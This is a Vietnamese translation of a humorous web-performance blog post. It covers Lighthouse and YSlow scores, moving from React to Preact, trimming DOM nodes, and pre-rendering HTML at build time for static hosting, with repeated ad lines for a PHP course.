Khi tôi chạy lighthouse trên trang web, tôi chỉ nhận được 97 điểm. 3 điểm còn lại của tôi đã mất đi đâu rồi!!!
Như tôi đã thấy, tôi được nhận xét là tôi có 1 input latency 285ms. Nếu nó thực sự đúng, thì sẽ là chuyện khá kinh hãi. Nhưng tôi biết nó chỉ 20ms thôi.
Vậy thì nhân viên của lighthouse chẳng qua là những kẻ ngu ngốc.
Vì vậy, tôi ngập ngừng thừa nhận với bản thân rằng có lẽ tôi nên nghiên cứu điều này, dù thực tế cho thấy tôi đã hoàn toàn đúng và 1 thuật toán được viết bởi Google đã sai rõ ràng.
Nó nhắc tôi phải bắt đầu lại toàn bộ quá trình giảm tốc CPU, và chắc chắn, thời gian phản hồi mà tôi nghĩ là nhất thời đã chậm đến 200+ ms.
Vì vậy tôi đã làm vài profiling và hầu hết thời gian là dành cho React. Tôi đã thực hiện hầu hết các practices tốt nhất liên quan đến hiệu suất React, và không có “updates nào bị lãng phí”.
Tôi thậm chí còn memoize (memoization là một kỹ thuật tối ưu, nhằm tăng tốc chương trình bằng cách lưu trữ kết quả của các câu gọi function và trả về các kết quả này khi function được gọi với cùng input đã gọi) các components có số lượng phần tử thấp (low-cardinality)
Bạn cũng nên biết tôi là 1 fan bự của React. Nhưng hiệu suất đã đánh bật lòng trung thành đó.
Đầu tiên, tôi đã thử preact-compat. Nó tốn mất 15 phút để convert codebase cả tôi. Một sự tiến bộ vượt bậc.
Tôi kể chuyện này với 1 người bạn từng viết Preact và anh ấy nói tôi nên thử đầy đủ Preact vàwowsers vì nó thậm chí còn nhanh hơn.
Dưới đây là biểu đồ tôi có được.
Có người còn bảo tôi hãy thử Inferno nên tôi đã chuyển ứng dụng của mình sang inferno để siết chặt thêm về hiệu suất.
Đây chính là kết quả thu được.
Đúng vậy tôi đã thử, Inferno nhanh nhưng không nhanh bằng Preact nên tôi rút lại thay đổi đó.
Tôi đã học được bài học ở đây rằng đừng ngần ngại gạch bỏ công việc. Nhưng bạn cũng nên rụt rè 1 chút. Không ai lại thích 1 kẻ hướng ngoại nói “nhiều” đâu.
Bí mật tối ưu hóa PHP & PHP7 hàng đầu. Đăng kí tìm hiểu ngay!
Bí mật tối ưu hóa PHP & PHP7 hàng đầu. Đăng kí tìm hiểu ngay!
Và đây…
Tiếp theo, tôi test trên yslow. Tôi gần như đã đạt được những điểm số cao nhất, ngoại trừ 1 con D (!) vì có quá nhiều DOM nodes. Điều buồn cười là vì tôi biết số lượng DOM nodes mà tôi cần và không ai khác có thể nói tôi nên làm cái gì vì tôi chính là người quản lý của chính tôi.
Có vẻ như những nhân viên của yslow đã sai.
Vì vậy tôi đã khá ngần ngại khi nghĩ đến việc tôi có thể giảm số lượng DOM nodes mà mình đã render. Vì thế, tôi đã thay đổi các nhánh trong tree của mình đã được expand mặc định.
Đây là biểu đồ dành cho bạn!
Cảm ơn các nhân viên của yslow, có vẻ như gợi ý ở trên khá tốt đấy.

#4 Render Client Side rất tốn kém

Client Side Rendering (CSR) cũng có những lợi điểm nhưng đối với trang web này thì lại vô dụng.
Tôi không có bất cứ phần nào dành riêng cho người dùng trên trang của mình nên tôi gửi cùng 1 HTML đến tất cả mọi người. Và tôi cũng có 1 nhiệm vụ processing khá năng thực hiện về phần client, khiến CSR ngày càng tệ hơn. CSR không phải là cách nhanh nhất để các pixels của tôi tiếp cận được ánh nhìn của bạn.
Đây là lời khuyên của tôi nếu bạn đang xây dựng 1 trang web cho 1 công ty có – và mong muốn duy trì dòng doanh thu:
  • Hãy xem bảng phân tích của bạn và xem thử phần trăm traffic đến từ Bing là bao nhiêu (đối với tổ chức của tôi là 1,6%)
  • Đúng vậy là Bing vì chúng không xài JS khi index và vì vậy không index 1 trang web CSR nào
  • Giúp thu nhập hằng năm của nhân viên bạn tăng 1,6%
  • Hãy hỏi công ty nếu họ hạnh phúc với số tiền được đưa vào cuộc cạnh tranh bởi vì bạn sẽ không thu được các kết quả tìm kiếm Bing nữa đâu
Có lẽ bạn đã hiểu. Tôi đã đi lạc đề.
Chỉ cần gửi HTML đã render từ server của bạn.

#5 Đừng server-render HTML

Đúng là nghe có vẻ nghịch lý. Làm thế nào bạn serve HTML mà không server-render HTML? Bạn làm đúng những gì mà mọi người có thể đã làm vào những năm 90…
React (và họ hàng nhanh hơn của nó) cần có vài tá milliseconds để render 1 trang HTML khiêm tốn. (Ai đó có số liệu về thời gian PHP hoặc JSP không? Tôi rất muốn so sánh). Điều đó đồng nghĩa là 1 single core chỉ phục vụ được khoảng 50 người trên mỗi giây, các requests thêm sẽ phải xếp hàng chờ đợi ngay ngắn và điều này không tốt chút nào.
Đối với trang web nhỏ của mình, tôi đang gửi cùng HTML vào mỗi response. Nếu trang của bạn tương tự thì bạn không cần 1 web server để render HTML và gửi đi các files CSSs và JS theo yêu cầu. Bạn có thể xuất HTML của mình vào thời điểm build time và ra mắt toàn bộ từ static hosting (hoặc cache it trên 1 CDN tốt). Github và Firebase và khả năng là những người khác sẽ cho bạn static hosting vì chúng rất thân thiện.
Bí mật tối ưu hóa PHP & PHP7 hàng đầu. Đăng kí tìm hiểu ngay!
Bí mật tối ưu hóa PHP & PHP7 hàng đầu. Đăng kí tìm hiểu ngay!
Ý tưởng này không áp dụng được nhiều nên bạn có thể bỏ qua phần này. Nhưng nếu bạn có bất kì trang nào có thể được render vào build time (như trang chủ của Linkedin, Paypal, Github) và tận dụng nó.
Tôi nghĩ ra ý tưởng này khi đang xem vài blog, nhận ra tôi chỉ tốn mất 96 milliseconds để nhấn vào link dẫn đến blog đã nói (nhưng nhìn chung tôi vẫn cho rằng trang của tôi là trang nhanh nhất trên thế giới – và thực tế đôi khi lại không công nhận điều đó)
Tôi đã phát hiện blog được hosted như 1 static site với Firebase. Nhưng điều đó đồng nghĩa là tôi phải generate HTML vào build time. .
Giá như React có thể output DOM đã generated như 1 string. Như thế tôi có thể chỉ cần lưu string đó vào 1 file HTML như 1 phần của build script.
Vốn dĩ React đã có 1 method có tên là renderToString (mặc dù bạn nên sử dụng renderToStaticMarkup).